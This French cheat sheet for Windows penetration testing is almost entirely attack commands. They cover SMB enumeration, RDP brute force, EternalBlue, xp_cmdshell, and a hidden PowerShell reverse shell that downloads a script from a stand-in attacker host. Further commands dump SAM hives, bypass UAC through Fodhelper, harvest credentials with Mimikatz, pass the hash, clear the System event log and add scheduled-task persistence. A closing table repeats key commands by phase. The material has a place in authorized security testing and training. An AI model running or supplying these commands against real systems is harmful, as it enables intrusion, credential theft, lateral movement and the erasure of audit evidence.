Méthodologie complète pour tester la sécurité d'une infrastructure Windows.
Identifier les serveurs Windows, partages, utilisateurs et domaine.
# Scan SMB
nmap -p 139,445 -sV -sC target
# Enumération partages
smbmap -H target -u "" -p ""
# Enum complète
enum4linux-ng target
# RDP Brute Force
hydra -l user -P passwords.txt rdp://target
# EternalBlue exploit
msfconsole -r eternalblue.rc
# MSSQL RCE
xp_cmdshell 'whoami'
# WinRM Shell
evil-winrm -i target -u user -p password
# PowerShell Reverse Shell
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')"
# PsExec
psexec.py -hashes :hash domain.com/user@target cmd.exe
# Dump SAM
reg save HKLM\\SAM C:\\sam.hive
reg save HKLM\\SYSTEM C:\\system.hive
# UAC Bypass avec Fodhelper
Reg Add "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command" /f
Reg Add "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command" /v "Debugger" /f /d "C:\\shell.exe"
Fodhelper.exe
# Token Impersonation (Mimikatz)
token::elevate
# Steal tokens
incognito list_tokens -g
# Mimikatz dump logon sessions
sekurlsa::logonpasswords
# Pass-the-Hash
pth-winexe -U domain/user%hash //target cmd.exe
# Dump SAM via impacket
impacket-secretsdump -sam sam -system system -security security LOCAL
wevtutil cl System| Phase | Outils | Commandes clés |
|---|---|---|
| Reconnaissance | nmap, smbmap, enum4linux | smbmap -H target -u "" -p "" |
| Exploitation | metasploit, evil-winrm | evil-winrm -i target -u user |
| Escalade | Mimikatz, incognito | sekurlsa::logonpasswords |
| Lateral Move | psexec, pth-winexe | pth-winexe -U domain/user%hash |
| Persistence | PowerShell, WMI, Registry | schtasks /create /tn TASK /tr "cmd" |